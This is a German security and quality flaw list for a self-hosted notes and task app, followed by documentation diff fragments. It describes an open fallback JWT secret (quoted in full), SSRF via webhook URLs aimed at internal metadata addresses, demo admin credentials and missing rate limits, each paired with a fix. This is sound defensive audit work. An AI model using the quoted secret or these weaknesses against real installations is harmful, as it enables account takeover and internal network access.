- **Maßnahme:** Für Passwort- und E-Mail-Änderung `currentPassword` verlangen (gleiche Prüfung wie `confirmPassword`), Hinweis-Mail an die alte Adresse.
### FLAW-04: Fallback-JWT-Secret
- **Fundstelle:** [`internal/config/config.go`](../internal/config/config.go): `getEnv("JWT_SECRET", "mindsift-default-selfhosted-jwt-secret-key-2026")`; `docker-compose.yml` und `.env.example` liefern ebenfalls einen Platzhalter.
- **Problem:** Wer `JWT_SECRET` nicht setzt (oder den Platzhalter behält), läuft mit einem öffentlich bekannten Schlüssel. Damit lassen sich gültige Tokens für jede Benutzer-ID fälschen. `install.sh` erzeugt zwar ein Secret, andere Installationswege nicht.
- **Maßnahme:** Start verweigern oder Secret beim ersten Start erzeugen und in `/data` ablegen.
### FLAW-31: Langlebige Sitzung im `localStorage`
- **Fundstelle:** `GenerateToken` (30 Tage) in [auth.go](../internal/auth/auth.go), `setToken` in [lib/api.ts](../frontend/src/lib/api.ts).
- **Problem:** Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“.
- **Maßnahme:** Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz.
### FLAW-05: SSRF über Alarm-URLs
- **Fundstellen:** `handleUpdateUserSettings` (keine Validierung), `sendDiscordNotification`, `sendCustomWebhookNotification`.
- **Problem:** Jeder Nutzer kann beliebige URLs hinterlegen. Der Server sendet POST-Anfragen dorthin, auch an interne Adressen (`http://169.254.169.254`, Docker-Netz, `localhost`). Über `handleTestUserAlarm` lässt sich das sofort auslösen.
- **Maßnahme:** Nur `https`, Discord-Host prüfen, private/Loopback-Adressen beim Verbinden sperren.
### FLAW-32: Nur 40 Bit Zufall in IDs
- **Fundstelle:** `NewID` in [domain/models.go](../internal/domain/models.go) (5 Zufallsbytes); Einladungscodes `INV-…` in `CreateUserInvite` ([users.go](../internal/storage/users.go)) leiten sich davon ab.
- **Problem:** Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig.
- **Maßnahme:** `NewID` auf 12 Bytes (96 Bit) anheben (Spalten sind `TEXT`, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes.
### FLAW-06: Editor kann Aufgabenliste weiterteilen
- **Status: Behoben.** Das Feld `task_lists.team_id` ist entfernt; Freigaben gibt es nur noch über `task_list_shares`, und die legt nur der Eigentümer an.
- **Fundstelle:** `Store.UpdateTaskList` (`teamID`-Zweig ruft `AddTaskListShare`); `handleUpdateTaskList` prüft nur, dass der Nutzer **kein** Leser ist.
- **Problem:** `POST /task-lists/{id}/shares` ist Eigentümern vorbehalten. Über `PUT /task-lists/{id}` mit `teamId` kann aber jeder Editor die Liste einer weiteren Gruppe zuweisen (mit Schreibrecht) und die Zuweisung der bisherigen Gruppe aufheben.
- **Maßnahme:** `teamId`-Änderungen nur für den Eigentümer; das Legacy-Feld `task_lists.team_id` zugunsten von `task_list_shares` abschaffen.
### FLAW-33: Demo-Admin darf Server-Einstellungen ändern
- **Fundstelle:** Admin-Routen in [server.go](../internal/api/server.go); Demo-Konto `admin/admin` ([users.go](../internal/storage/users.go)).
- **Problem:** Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig.
- **Maßnahme:** Im Demo-Modus Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt; private Webhook-Ziele im Demo-Modus immer gesperrt.
### FLAW-07: API-Key-Scopes ohne Wirkung
- **Fundstellen:** Tabelle `api_keys.scopes` (Standard `ingest,read`), `authMiddleware`.
- **Problem:** Ein Key mit Präfix `mindsift_sec_` authentifiziert als der Benutzer, mit allen Rechten: alle `/api/v1`-Routen, bei Admins auch `/admin/*`, außerdem das Anlegen weiterer Keys. Für Webhooks (nur Aufgaben anlegen) ist das überdimensioniert.
- **Maßnahme:** Scopes auswerten; Keys standardmäßig nur auf `/inbox` und `/webhooks/ingest` beschränken.
### FLAW-34: SMTP-Passwort im Klartext
- **Fundstelle:** `handleAdminGetSettings` ([handlers_admin.go](../internal/api/handlers_admin.go)) liefert `smtpPass` aus; Speicherung in `system_settings`.
- **Problem:** Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup.
- **Maßnahme:** Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per `SMTP_PASS`-Umgebungsvariable statt Datenbank.
### FLAW-08: Webhook-Ingest umgeht Sitzungsprüfung
- **Fundstelle:** `handleWebhookIngest`, JWT-Zweig.
- **Problem:** Das Token wird nur kryptografisch validiert. `IsTokenRevoked`, `token_version` und `is_active` werden nicht geprüft; ein ausgeloggtes oder deaktiviertes Konto kann weiter Aufgaben anlegen (bis Token-Ablauf nach 30 Tagen).
- **Maßnahme:** Dieselbe Prüfkette wie in `authMiddleware` verwenden (gemeinsame Funktion statt Kopien; siehe auch `authenticateUserFromReq`).
### FLAW-35: `?token=` beim Webhook-Ingest
- **Fundstelle:** `handleWebhookIngest` in [handlers_integrations.go](../internal/api/handlers_integrations.go).
- **Problem:** Neben `X-API-Key` wird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login.
- **Maßnahme:** In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin.
### FLAW-09: Kein Schutz gegen Brute-Force
- **Fundstellen:** `handleLogin`, `handleRegister`, `handleFirstBootSetup`.
- **Problem:** Weder Rate-Limit noch Sperre; `middleware.RealIP` vertraut `X-Forwarded-For` ungeprüft. Mindestpasswortlänge ist 4 Zeichen. Der Login-Pfad ist so über das Internet raten- und durchprobierbar.
- **Maßnahme:** Rate-Limit je IP und Konto, längeres Mindestpasswort.
### FLAW-36: Kein allgemeines Größenlimit für Anfragen
- **Fundstelle:** 46 Stellen `json.NewDecoder(r.Body)` ohne `http.MaxBytesReader` in `internal/api/` (Ausnahmen: Import, Themes, Sync, Passwort-Reset).
- **Problem:** Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden.
- **Maßnahme:** Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync.
### FLAW-10: `sharing_mode` wird nicht durchgesetzt
- **Status: Behoben.** Modi `private`/`organizations`/`open`, zentral durchgesetzt über `Store.CanSee`/`CanShareWith` in Verzeichnis, allen Freigaben und Gruppen; Rechte werden bei Sichtbarkeitsverlust bereinigt ([sharing-and-permissions.md](sharing-and-permissions.md)). Test: `internal/storage/visibility_test.go`.
- **Fundstellen:** `Store.GetDiscoverableUsers`, `Store.GetCollaborators`; Share-Handler in `server.go`.
- **Problem:**
1. Der Modus beeinflusst nur `GetDiscoverableUsers`. In `teams_only` liefert die Funktion trotzdem **alle** Benutzer (`if … mode == "open" || mode == "teams_only" { return GetAllUsers() }`).
2. `GET /collaborators` ignoriert den Modus komplett und liefert alle aktiven Konten mit E-Mail-Adresse.
3. Keine der Share-Funktionen prüft den Modus. `strict_private` und `teams_only` verhindern Freigaben nicht, wenn man die Ziel-ID kennt.
- **Maßnahme:** Eine zentrale Funktion `canShareWith(owner, target)` und in allen Share-Handlern verwenden; Verzeichnisse darauf einschränken.
### FLAW-37: Server-Backups überleben das gelöschte Konto
- **Fundstelle:** `DeleteOwnAccount` / `handleAdminDeleteUser` und `backups/users/<id>/` ([backups.go](../internal/api/backups.go)).
- **Problem:** Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf.
- **Maßnahme:** Beim Löschen eines Kontos `backups/users/<id>/` mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen.
### FLAW-11: Block-Upsert prüft das Dokument nicht
- **Status: Behoben.** Alle Blockänderungen laufen über `Store.applyDocChange`: Einfügen mit einer Block-ID aus einer anderen Notiz wird abgelehnt (`exists`), und der Upsert ändert nur Zeilen derselben Notiz (`WHERE blocks.document_id = excluded.document_id`). Test: `TestInsertCannotReuseBlockIDOfAnotherNote`.
- **Fundstelle:** `Store.PatchDocumentBlocks`, `INSERT INTO blocks … ON CONFLICT(id) DO UPDATE`.
- **Problem:** `blocks.id` ist global eindeutig. Existiert die ID bereits in einem **anderen** Dokument, überschreibt der Konflikt-Zweig dessen Inhalt, ohne `document_id` zu prüfen. Voraussetzung: Schreibrecht im eigenen Dokument und Kenntnis einer fremden Block-ID.
- **Maßnahme:** `DO UPDATE … WHERE blocks.document_id = excluded.document_id`; fremde IDs ablehnen.
### FLAW-38: Große Downloads brechen nach 30 s ab
- **Fundstelle:** `WriteTimeout: 30 * time.Second` in [cmd/server/main.go](../cmd/server/main.go); betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (`http.ServeFile`).
- **Problem:** Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht).
- **Maßnahme:** Für Download-Handler die Schreibfrist per `http.ResponseController` verlängern, wie bei SSE.
### FLAW-12: Alarm-Logik
- **Fundstellen:** `startAlarmTicker`, `GetDueTasksForAlarm`, `UpdateThoughtDetails`, `UserSettingsView`.
- **Probleme:**
- `notify_before_minutes` (Einstellungen: „15 Minuten vorher“ usw.) wird nirgends gelesen. Fälligkeiten haben nur ein Datum (`YYYY-MM-DD`), eine Vorlaufzeit ist damit nicht abbildbar.
- Verglichen wird mit `time.Now()` in der Zeitzone des Containers (ohne `TZ` also UTC).
- `alarm_sent` wird nie zurückgesetzt. Wird die Fälligkeit nach einem Alarm verschoben, gibt es keinen neuen.
- Schlagen alle Kanäle fehl, wird jede Minute erneut gesendet (kein Backoff, keine Dead-Letter-Queue).
- **Maßnahme:** Fälligkeit mit Uhrzeit speichern, `alarm_sent` bei Änderung von `due_date` zurücksetzen, Wiederholungen begrenzen.
### FLAW-39: Kein Rate-Limit außerhalb des Logins
- **Fundstelle:** `handleRegister`, `handleForgotPassword` (Sperre nur je Konto), Einladungscode-Prüfung.
- **Problem:** Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst.
- **Maßnahme:** Den vorhandenen `loginGuard` um Töpfe pro Adresse für diese Endpunkte erweitern.
### FLAW-13: Migrationen
- **Teilweise behoben:** Das Schema hat eine Version (`PRAGMA user_version`, `schemaVersion` in `sqlite.go`), auf die künftige Migrationen aufsetzen können. Die übrigen Punkte unten gelten weiter.
- **Fundstellen:** `Store.migrate` in [`internal/storage/sqlite.go`](../internal/storage/sqlite.go), [`migrations/001_init.sql`](../migrations/001_init.sql).
- **Probleme:**
- Es gibt keine Versionstabelle. Alle `ALTER TABLE`-Anweisungen laufen bei jedem Start erneut; Fehler werden pauschal ignoriert (`_, _ = s.db.Exec(q)`), echte Fehler fallen nicht auf.
- Mehrere `UPDATE`/`DROP TABLE`-Bereinigungen laufen bei jedem Start.
- `migrations/001_init.sql` wird nur in das Image kopiert, aber nirgends gelesen, und ist gegenüber dem tatsächlichen Schema veraltet.
- **Maßnahme:** `schema_migrations`-Tabelle mit nummerierten, einmalig ausgeführten Schritten; die SQL-Datei entweder einbetten oder entfernen.
### FLAW-40: Einladungscode doppelt einlösbar
- **Fundstelle:** `handleRegister`: `GetUserInviteByCode` → Konto anlegen → `MarkUserInviteUsed`.
- **Problem:** Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch.
- **Maßnahme:** Code in einer Transaktion bzw. per `UPDATE … WHERE used_by = ''` beanspruchen, bevor das Konto entsteht.
### FLAW-14: Verschluckte Fehler
- **Fundstellen:** u. a. `PatchDocumentBlocks` (Upserts/Deletes), `AddTaskListShare`, `RemoveTaskListShare`, viele `_, _ = s.db.Exec`.
- **Problem:** Scheitert ein Schreibzugriff (z. B. `SQLITE_BUSY`), antwortet die API trotzdem mit Erfolg und broadcastet den Stand, der nie gespeichert wurde. Fehler lassen sich nur schwer nachvollziehen.
- **Beispiel (behoben):** Das Lösen der Verknüpfung zwischen Notiz-Block und Aufgabe („Verknüpfung aufheben“, Löschen eines verknüpften Blocks) schrieb in nicht existierende Spalten `thoughts.doc_id`/`block_id`. Der Fehler wurde verschluckt, die Funktion war nie wirksam. Korrigiert; im neuen Sync-Weg gleicht `ReconcileDocTaskLinks` Häkchen und gelöschte Blöcke ab.
- **Maßnahme:** Mehrstufige Änderungen in Transaktionen bündeln und Fehler zurückgeben.
### FLAW-15: WriteTimeout und SSE
- **Status: Behoben.** `ServeSSE` hebt die Schreibfrist für die eigene Antwort auf (`http.ResponseController.SetWriteDeadline`). Test mit 1-s-Timeout: `TestSSEStreamOutlivesWriteTimeout`. Der Test hat den Abbruch im alten Code bestätigt.
- **Fundstelle:** [`cmd/server/main.go`](../cmd/server/main.go) `WriteTimeout: 30 * time.Second`.
- **Problem:** Go beendet nach diesem Zeitraum das Schreiben der Antwort. Für den SSE-Fallback (`ServeSSE`) bedeutet das voraussichtlich einen Verbindungsabbruch alle 30 s. WebSockets sind durch Hijacking nicht betroffen. Der Client verbindet sich neu, daher fällt es kaum auf.
- **Maßnahme:** Im SSE-Handler `http.ResponseController.SetWriteDeadline(time.Time{})` setzen oder `WriteTimeout` für diese Route aufheben.
### FLAW-16: Ersteinrichtung und Demo-Modus
- **Fundstellen:** `handleFirstBootSetup`, `Store.EnsureDemoAccounts`, `config.Load` (`MINDA_DEMO`, `MINDSIFT_DEMO`, `DEMO_MODE`).
- **Probleme:** Solange kein Konto existiert, kann jeder `POST /auth/setup` aufrufen und wird Administrator. Mit gesetztem Demo-Flag entstehen Konten `admin/admin` und `user/user`; versehentlich auf einer öffentlichen Instanz aktiv wäre das eine Komplettübernahme.
- **Maßnahme:** Setup per einmaligem Token aus dem Server-Log absichern; Demo-Modus nur zusammen mit expliziter Warnung/Bestätigung.
### FLAW-17: Schreibgeschützte Dokumentfreigaben
- **Status: Behoben.** Zwangsmigration entfernt, Backend prüft Bearbeiter-Rechte (`DocRole`, `/docs/{id}/sync`), der Editor speichert über die Sync-Engine, und der Freigabe-Dialog bietet „Bearbeiten“ an. Browser-Test: `e2e/share.e2e.mjs`.
- **Fundstellen:** Migration in `Store.migrate` (`UPDATE doc_shares SET permission = 'read' …`, ebenso `doc_team_shares`, `workspace_folder_shares`), `PatchDocumentBlocks`/`UpdateDocument` (nur Eigentümer).
- **Hinweis:** Das ist offenbar gewollt: Nur der Eigentümer schreibt in ein Dokument, Empfänger lesen. Es gibt daher **kein** kollaboratives Bearbeiten. Das Schema (`CHECK(permission IN ('read','write'))`), die Zweige für `write` im Code und frühere Dokumentation suggerieren etwas anderes. Es gibt weder Sperren noch Konfliktauflösung, noch Cursor-Presence.
- **Maßnahme:** Entweder Schreibfreigaben mit Konfliktbehandlung ergänzen oder den toten Code und das Schema bereinigen.
### FLAW-18: Suche
- **Status: Behoben.** SQLite FTS5-Volltexttabellen mit BM25-Ranking (`thoughts_fts`, `documents_fts`, `list_items_fts`), Trigger zur automatischen Synchronisation und initialem Backfill beim Start. Sicheres Query-Escaping, Präfixsuche. Strikte Berechtigungsprüfung über `accessibleTaskListIDsQuery`, `DocRole` (eigene, geteilte Notizen, über Ordner gemountete Notizen) und zugängliche Listen. Rückwärtskompatible API-Antwort mit Snippets (`<mark>`) und Frontend-Integration über `CommandPalette` (`Cmd+K` / `Ctrl+K` / `/`).
- **Fundstellen:** `internal/storage/search.go`, `internal/api/server.go`, `frontend/src/components/CommandPalette.tsx`.
### FLAW-19: Geringe Frontend-Testabdeckung
- **Stand:** Vitest mit jsdom und Testing Library ist eingerichtet (`npm run test:run`) und läuft beim Image-Build. Getestet sind bisher nur Outliner-Funktionen (Backspace-Zusammenführen, Cursor-Position beim Klicken).
- **Problem:** Aufgaben, Listen, Freigabe-Dialoge und Berechtigungsanzeigen sind ungetestet. `"lint"` in [`frontend/package.json`](../frontend/package.json) ist weiterhin ein Platzhalter (`echo`).
- **Maßnahme:** Tests für kritische Pfade ergänzen, ESLint als echtes `lint`-Skript.
### FLAW-20: Dateigröße und Duplikate
- `internal/storage/sqlite.go` (≈ 5.600 Zeilen), `internal/api/server.go` (≈ 3.000), `WorkspaceView.tsx` (≈ 2.300), `TasksView.tsx` (≈ 2.500), `api.ts` (≈ 1.500).
- Die Zugriffsabfrage für Aufgabenlisten steht dreimal fast identisch im Code (`accessibleTaskListIDsQuery`, `GetTaskLists`, `GetTaskListByID`). Dokumentzugriff ist ähnlich verteilt. Änderungen an Berechtigungen müssen an mehreren Stellen erfolgen und werden leicht vergessen.
- **Maßnahme:** In Teilmodule zerlegen (Auth, Dokumente, Aufgaben, Listen, Teams), Zugriffsprüfung zentralisieren.
### FLAW-21: Lizenzdatei fehlt
- README und Badge nennen die MIT-Lizenz und verlinken auf `LICENSE`; die Datei existiert nicht im Repository.
### FLAW-22: Netzwerk-Details
- `authenticateUserFromReq` akzeptiert das Token als `?token=` (nötig für `WebSocket`/`EventSource`, die keine Header setzen). Tokens landen dadurch in Proxy- und Zugriffslogs.
- `AllowedOrigins: ["*"]` (Auth läuft über `Authorization`-Header, nicht über Cookies, das Risiko ist daher begrenzt) und `CheckOrigin` liefert immer `true`.
- Ein einmal verbundener WebSocket/SSE-Stream wird bei Logout oder Token-Widerruf nicht getrennt.
- **Maßnahme:** Kurzlebiges, einmaliges Stream-Ticket statt Langzeit-JWT in der URL; Origin gegen `BASE_URL` prüfen.
### FLAW-23: SQLite-Schreibengpass
- Eine SQLite-Datei (WAL, `busy_timeout`, bis zu 8 offene Verbindungen) erlaubt nur einen gleichzeitigen Schreiber. Für Familien und kleine Teams unkritisch; bei vielen aktiven Editoren sind `SQLITE_BUSY`-Fehler möglich, die wegen FLAW-14 stumm bleiben.
### FLAW-24: Organisations-Endpunkte ohne Berechtigungsprüfung
- **Status: Behoben.** Die alten `/organizations`-Endpunkte sind entfernt; Organisationen verwaltet nur der Server-Admin über `/admin/organizations`.
- **Fundstellen:** `handleDeleteOrganization`, `handleGetOrgTeams`, `handleCreateOrgTeam` (und `Store.DeleteOrganization`) in `server.go` bzw. `sqlite.go`.
- **Problem:** Diese Handler prüfen weder Eigentümer noch Mitgliedschaft. Jeder angemeldete Nutzer kann mit bekannter ID eine fremde Organisation löschen, deren Gruppen auflisten oder dort Gruppen anlegen. Gruppenbezogene Endpunkte (`/teams/{id}…`) prüfen dagegen korrekt auf Gruppen-Admin. Das Datenmodell kennt Organisationen nur noch rudimentär; im UI werden Gruppen direkt über `POST /teams` angelegt (`orgId` Standard `default`).
- **Maßnahme:** Organisationen entweder konsequent absichern (Eigentümer/Server-Admin) oder entfernen.
### FLAW-25: Teilweise ausgeführte Struktur-Aktionen an gesperrten Bullets
- **Status: Behoben.** Fremd gesperrte Bullets sind im Editor schreibgeschützt und zeigen, wer sie bearbeitet. Löschen, Zusammenführen, Ein-/Ausrücken und Ziehen werden nicht gestartet, wenn ein beteiligter Bullet (oder einer im Ast) gesperrt ist; stattdessen erscheint ein Hinweis. Ebenso für „Übernehmen“/„Verwerfen“ und Rückgängig. Browser-Test: `e2e/lock.e2e.mjs`.
- **Fundstellen:** `handleMergeWithPrevious` und `handleIndentBlock` in [`OutlinerTree.tsx`](../frontend/src/features/workspace/OutlinerTree.tsx); Sperrregeln in `internal/collab` (Verschieben/Löschen gesperrter Blöcke wird abgelehnt).
- **Problem:** Eine Editor-Aktion besteht oft aus mehreren Operationen. Ist einer der beteiligten Bullets von jemand anderem gesperrt, lehnt der Server nur diese Operation ab. Beispiel aus dem Browser-Test: Backspace am Zeilenanfang hängt den Text oben an (angewendet), das Löschen des unteren Bullets wird abgelehnt – der Text steht dann doppelt da. Einrücken eines fremd gesperrten Bullets wird ohne Hinweis zurückgenommen. Es geht kein Text verloren.
- **Maßnahme (Phase 3):** Gesperrte Bullets im Editor anzeigen und Struktur-Aktionen, die sie berühren, gar nicht erst ausführen.
### FLAW-26: Fokus-Verzögerung nach Enter
- **Status: Behoben.** Neu eingehängte Bullets bekommen den Fokus sofort beim Einhängen. Browser-Test: „Sofort nach Enter Getipptes landet im neuen Bullet“.
- **Fundstelle:** `focusBlockInput` in `OutlinerTree.tsx` setzt den Fokus erst im nächsten Animation-Frame.
- **Problem:** Zeichen, die innerhalb dieses Frames getippt werden (automatisiert oder sehr schnelles Tippen), landen noch im vorherigen Bullet. Bei fremd gesperrtem Bullet entsteht daraus eine Konfliktkopie.
- **Maßnahme:** Fokus nach dem Anlegen synchron setzen (`useLayoutEffect`).
### FLAW-27: Grenzen nach der Verdichtung
- **Status: Bekannt, bewusst so.**
- **Fundstellen:** `CompactDocs` in [`internal/storage/docsync.go`](../internal/storage/docsync.go), `reviveAsNewBlock` in [`internal/collab/ops.go`](../internal/collab/ops.go).
- **Verhalten:** Nach 30 Tagen sind gelöschte Blöcke endgültig weg. Rückgängig für ein so altes Löschen ist nicht mehr möglich (Hinweis im Editor). Text, der wochenlang offline in einem inzwischen endgültig gelöschten Block getippt wurde, kommt als neuer Block am Ende der Notiz zurück, nicht an der alten Stelle. Wer eine Operation erst nach mehr als 90 Tagen erneut sendet (Antwort ging verloren, Gerät so lange offline), wird nicht mehr als Wiederholung erkannt; Textänderungen erzeugen dann höchstens eine Konfliktkopie, kein stilles Überschreiben.
### FLAW-41: Sehr große Frontend-Dateien
- **Fundstelle:** `WorkspaceView.tsx` (≈ 2.300 Zeilen), `TasksView.tsx` (≈ 2.500), `lib/api.ts` (≈ 1.700).
- **Problem:** Schwer zu überblicken, Änderungen kollidieren leicht, Tests decken nur Teile ab.
- **Maßnahme:** In Unterkomponenten (Seitenleiste, Ordnerbaum, Tags, To-Do-Rollup; Liste, Kanban, Filter) und `api.ts` in REST-Client und Realtime-Transport teilen.
---
## Aus der früheren Fassung entfernt
## Ideen für Funktionen
Die frühere `flaws.md` führte als „gelöst“, was im Code nicht existiert: In-Memory-DocRooms, `clientId`-Echo-Schutz, Cursor-Presence, 1,5-s-Debounce-Flush, `internal/ws/docroom.go`, `frontend/src/lib/useDocumentSync.ts` und Yjs/CRDT. Der Code enthält nur noch `internal/ws/hub.go` (Räume, Benutzer-Kanäle, SSE-Fallback). Die CRDT-Tabellen werden beim Start gelöscht (`DROP TABLE document_crdt_*`). Dokumente werden per REST gespeichert (`PATCH /documents/{id}/blocks`) und als `DOC_BLOCKS_PATCHED` verteilt. Die frühere Aussage zur Token-Versionierung (`token_version`, `revoked_tokens`) trifft dagegen zu und ist in [sharing-and-permissions.md](sharing-and-permissions.md) und [architecture.md](architecture.md) beschrieben.
### Erfassen
- **Teilen-Ziel der App** (`share_target` im Manifest): Links und Texte aus anderen Apps auf dem Handy direkt in die Inbox teilen.
- **Natürliche Zeitangaben** beim Erfassen: „Zahnarzt morgen 14 Uhr“ setzt die Fälligkeit mit Uhrzeit.
- **Mail an die Inbox:** eine persönliche Adresse, deren Mails als Gedanken landen.
### Aufgaben & Erinnerungen
- **Web-Push-Benachrichtigungen** für Alarme direkt auf Handy und Desktop, ohne Discord oder E-Mail.
- **Alarme auch für Zugewiesene**, nicht nur für den Eigentümer der Aufgabe.
- **Zeitzone pro Benutzer** statt einer Server-Zeitzone für alle.
- **Kalenderansicht und iCal-Abo** der fälligen Aufgaben (z. B. in Google-/Apple-Kalender).
- **Flexiblere Wiederholungen:** „jeden 2. Dienstag“, „am letzten Werktag“, „3 Tage nach Erledigen“.
### Notizen
- **Versionsverlauf ansehen und zurückholen:** das Operations-Log (`doc_ops`) ist vorhanden, eine Ansicht fehlt.
- **Bilder und Anhänge** in Notizen.
- **Vorlagen und Tagesnotiz** (z. B. „Wochenrückblick“, „Heute“).
- **Öffentlicher Lese-Link** für einzelne Notizen, mit Ablaufdatum.
- **Verlinkungs-Graph** auf Basis der Backlinks.
### Listen
- **Sortierung nach Laden:** Kategorien in der Reihenfolge des eigenen Supermarkts.
- **Häufige Einträge vorschlagen** beim Tippen (aus erledigten Einträgen).
### Konto & Sicherheit
- **Zwei-Faktor-Anmeldung** (TOTP) oder **Passkeys**.
- **Sitzungsübersicht** mit Einzel-Abmelden (siehe FLAW-31).
- **Anmeldung über OIDC** (Authelia, Authentik, Keycloak) für Homelab-Setups.
- **Admin-Protokoll:** wer hat wann Konten, Rollen und Einstellungen geändert.
### Betrieb
- **Backups an ein externes Ziel** (WebDAV, S3, SFTP), damit sie eine kaputte Platte überleben.
- **`/metrics` für Prometheus** und ein Healthcheck, der auch die Datenbank prüft.
- **Update-Hinweis** in der Admin-Oberfläche, wenn ein neues Release-Image verfügbar ist.
+1 -1
View File
@@ -149,7 +149,7 @@ Ein Hintergrundjob (`startCompaction`) läuft beim Start und danach alle 6 Stund
| Idempotenz-Ergebnisse | 90 Tage |
| Leases und Sitzungen im Speicher | abgelaufene werden entfernt |
Clients hinter der Grenze laden den Snapshot neu und behalten ihre Warteschlange. Grenzen dieses Vorgehens: [FLAW-27](../flaws.md).
Clients hinter der Grenze laden den Snapshot neu und behalten ihre Warteschlange. Grenzen dieses Vorgehens: Nach 30 Tagen sind gelöschte Blöcke endgültig weg, Rückgängig ist dann nicht mehr möglich. Text, der so lange offline in einem inzwischen gelöschten Block getippt wurde, kommt als neuer Block ans Ende der Notiz. Wer eine Operation erst nach mehr als 90 Tagen erneut sendet, wird nicht mehr als Wiederholung erkannt; Textänderungen erzeugen dann höchstens eine Konfliktkopie.
## Tests
+8 -6
View File
@@ -4,13 +4,13 @@ Code: [TasksView.tsx](../../frontend/src/features/triage/TasksView.tsx), [TaskDe
## Datenmodell
Eine Aufgabe ist ein `thought` ([database.md](../database.md)) mit `kanbanStatus`, `priority` (`low`/`normal`/`high`/`urgent`), `dueDate` (nur Datum), `notes` (Markdown), `subtasks` (`[{id, title, isCompleted}]`), `tags`, `taskListId`, `sortOrder` und `assignees` (Benutzer-IDs). Aufgaben ohne Liste sind persönlich.
Eine Aufgabe ist ein `thought` ([database.md](../database.md)) mit `kanbanStatus`, `priority` (`low`/`normal`/`high`/`urgent`), `dueDate` (`YYYY-MM-DD` oder mit Uhrzeit `YYYY-MM-DDTHH:MM`; die API nimmt auch `YYYY-MM-DD HH:MM` an), `notes` (Markdown), `subtasks` (`[{id, title, isCompleted}]`), `tags`, `taskListId`, `sortOrder` und `assignees` (Benutzer-IDs). Aufgaben ohne Liste sind persönlich.
## Ansichten
- **Liste** mit Filtern (offen, erledigt, Papierkorb), Gruppierung (z. B. nach Status oder Fälligkeit), Sortierung und Hashtag-Filter.
- **Kanban:** Spalten pro Liste frei konfigurierbar (Name, Farbe, „Erledigt“-Spalte). Standard: *Zu erledigen*, *In Bearbeitung*, *Wartet auf andere*, *Erledigt*. Eine Karte in eine „Erledigt“-Spalte zu ziehen setzt `isCompleted`.
- Drag & Drop sortiert in der Liste und zwischen Spalten; ein Klick öffnet das Detail-Fenster (Titel, Status, Priorität, Fälligkeit mit Schnellwahl, Liste, Hashtags, Unteraufgaben mit Fortschrittsbalken, Notizen).
- Drag & Drop sortiert in der Liste und zwischen Spalten; ein Klick öffnet das Detail-Fenster (Titel, Status, Priorität, Fälligkeit mit optionaler Uhrzeit und Schnellwahl, Liste, Hashtags, Unteraufgaben mit Fortschrittsbalken, Notizen).
- Aufgaben lassen sich in eine Notiz umwandeln („Als Notiz vertiefen“). Aufgaben aus Notiz-Checkboxen (`enhanced-task`) bleiben verknüpft: Abhaken wirkt in beide Richtungen (`SyncDocBlockAndTask`), „In Notiz öffnen“ springt zum Block.
## Aufgabenlisten und Freigabe
@@ -25,20 +25,20 @@ Eine Aufgabe ist ein `thought` ([database.md](../database.md)) mit `kanbanStatus
- Gespeichert in `task_assignees`; `PATCH /thoughts/{id}` mit `assignees` ersetzt die Liste. Der Server lehnt Personen ohne Zugriff ab (`403`, `storage.ErrAssigneeNoAccess`).
- **Zuweisungen folgen den Rechten:** `Store.PruneTaskAssignees` entfernt jede Zuweisung, deren Person die Liste nicht mehr sehen kann. Es läuft nach Entfernen einer Freigabe, Austritt aus oder Entfernen aus einer Gruppe, Löschen einer Gruppe, Löschen der Liste und Verschieben der Aufgabe in eine andere oder keine Liste; beim Löschen eines Kontos werden dessen Zuweisungen direkt gelöscht. Wer über einen zweiten Weg (z. B. direkt und über eine Gruppe) weiter Zugriff hat, bleibt zugewiesen.
- Wer sehen und zuweisen kann, hängt außerdem von der Sichtbarkeit ab: Verliert jemand sie (z. B. Wechsel der Organisation), fallen Freigabe und Zuweisungen weg ([sharing-and-permissions.md](../sharing-and-permissions.md)).
- Bekannte Lücke: [FLAW-03](../flaws.md) (Umsortieren per ID).
- Bekannte Lücke: (Umsortieren per ID).
## Wiederkehrende Aufgaben
- Im Detail-Fenster unter der Fälligkeit: *Keine Wiederholung*, täglich, wöchentlich, monatlich oder jährlich (`thoughts.recurrence`, `PATCH /thoughts/{id}` mit `recurrence`). Zeilen und Kanban-Karten zeigen dann ein 🔁-Symbol.
